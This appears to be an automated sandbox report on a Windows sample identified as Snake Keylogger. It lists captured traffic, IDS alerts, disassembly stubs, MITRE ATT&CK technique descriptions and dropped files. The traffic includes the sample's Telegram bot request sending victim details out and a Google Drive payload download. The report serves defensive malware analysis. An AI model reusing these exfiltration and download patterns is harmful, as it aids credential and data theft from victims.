Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:447849%0D%0ADate%20and%20Time:%2027/10/2024%20/%2006:11:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20447849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F2C0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F4AC
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F52F
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 0015FC19h	4_2_0015F961
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39692C19h	4_2_39692968
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 396931E0h	4_2_39692DC8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969D7F9h	4_2_3969D550
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 396931E0h	4_2_3969310E
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 396931E0h	4_2_39692DC2
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969DC51h	4_2_3969D9A8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39690040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969FAB9h	4_2_3969F810
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969D3A1h	4_2_3969D0F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969CF49h	4_2_3969CCA0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969F209h	4_2_3969EF60
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39690D0Dh	4_2_39690B30
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39691697h	4_2_39690B30
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969EDB1h	4_2_3969EB08
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969F661h	4_2_3969F3B8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969E501h	4_2_3969E258
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969E0A9h	4_2_3969DE00
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3969E959h	4_2_3969E6B0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D79280h	4_2_39D78FB0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D77EB5h	4_2_39D77B78
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D762D9h	4_2_39D76030
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7ECA6h	4_2_39D7E9D8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D75E81h	4_2_39D75BD8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D718A1h	4_2_39D715F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7CCB6h	4_2_39D7C9E8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7DA66h	4_2_39D7D798
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D75A29h	4_2_39D75780
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7FA56h	4_2_39D7F788
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D72E59h	4_2_39D72BB0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D71449h	4_2_39D711A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7BA76h	4_2_39D7B7A8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7C826h	4_2_39D7C558
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D72A01h	4_2_39D72758
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D70FF1h	4_2_39D70D48
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7E816h	4_2_39D7E548
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7B5E6h	4_2_39D7B318
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D725A9h	4_2_39D72300
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7D5D6h	4_2_39D7D308
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D779C9h	4_2_39D77720
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D755D1h	4_2_39D75328
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D75179h	4_2_39D74ED0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7C396h	4_2_39D7C0C8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D77571h	4_2_39D772C8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D70B99h	4_2_39D708F0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7F5C6h	4_2_39D7F2F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D70741h	4_2_39D70498
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then mov esp, ebp	4_2_39D7B081
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D76733h	4_2_39D76488
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7E386h	4_2_39D7E0B8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D72151h	4_2_39D71EA8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D71CF9h	4_2_39D71A50
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D702E9h	4_2_39D70040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D77119h	4_2_39D76E70
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D74D21h	4_2_39D74A78
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7D146h	4_2_39D7CE78
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D73709h	4_2_39D73460
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7F136h	4_2_39D7EE68
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D76CC1h	4_2_39D76A18
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D732B1h	4_2_39D73008
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7BF06h	4_2_39D7BC38
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D748C9h	4_2_39D74620
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 39D7DEF6h	4_2_39D7DC28
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C6970h	4_2_3A7C6678
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C5986h	4_2_3A7C56B8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C4746h	4_2_3A7C4478
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CD768h	4_2_3A7CD470
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CAC60h	4_2_3A7CA968
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C0C2Eh	4_2_3A7C0960
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C8158h	4_2_3A7C7E60
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C3E26h	4_2_3A7C3B58
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CEF50h	4_2_3A7CEC58
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CC448h	4_2_3A7CC150
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C5E16h	4_2_3A7C5B48
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C9940h	4_2_3A7C9648
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C030Eh	4_2_3A7C0040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C6E38h	4_2_3A7C6B40
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C3506h	4_2_3A7C3238
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CDC30h	4_2_3A7CD938
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CB128h	4_2_3A7CAE30
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C54F6h	4_2_3A7C5228
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C8620h	4_2_3A7C8328
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CF418h	4_2_3A7CF120
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C2BE6h	4_2_3A7C2918
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CC910h	4_2_3A7CC618
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C19DEh	4_2_3A7C1710
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C9E08h	4_2_3A7C9B10
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C4BD7h	4_2_3A7C4908
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C7300h	4_2_3A7C7008
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CE0F8h	4_2_3A7CDE00
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C22C6h	4_2_3A7C1FF8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CB5F0h	4_2_3A7CB2F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C10BEh	4_2_3A7C0DF0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C8AE8h	4_2_3A7C87F0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C42B6h	4_2_3A7C3FE8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CF8E0h	4_2_3A7CF5E8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CCDD8h	4_2_3A7CCAE0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C6347h	4_2_3A7C5FD8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CA2D0h	4_2_3A7C9FD8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C079Eh	4_2_3A7C04D0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C77C8h	4_2_3A7C74D0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CE5C0h	4_2_3A7CE2C8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CBAB8h	4_2_3A7CB7C0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C8FB0h	4_2_3A7C8CB8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CFDA8h	4_2_3A7CFAB0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C3076h	4_2_3A7C2DA8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CD2A0h	4_2_3A7CCFA8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C1E47h	4_2_3A7C1BA0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CA798h	4_2_3A7CA4A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C5066h	4_2_3A7C4D98
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C7C90h	4_2_3A7C7998
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CEA88h	4_2_3A7CE790
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C2756h	4_2_3A7C2488
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7CBF80h	4_2_3A7CBC88
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C154Eh	4_2_3A7C1280
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A7C9478h	4_2_3A7C9180
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A801FE8h	4_2_3A801CF0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A801190h	4_2_3A800E98
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A801B20h	4_2_3A801828
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A800338h	4_2_3A800040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A800CC8h	4_2_3A8009D0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A800801h	4_2_3A800508
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then jmp 3A801658h	4_2_3A801360
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A843E70
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A843E60
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A840A03
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A840A10

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:61886 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:61919 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:61908 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:61847 -> 142.250.185.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61922 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61902 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61933 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61945 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61913 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61976 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JOSXXL1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsxA532.tmp

C:\Users\user\AppData\Local\indvandrings\attraavrdig\Afsvor193\stiltish.sti

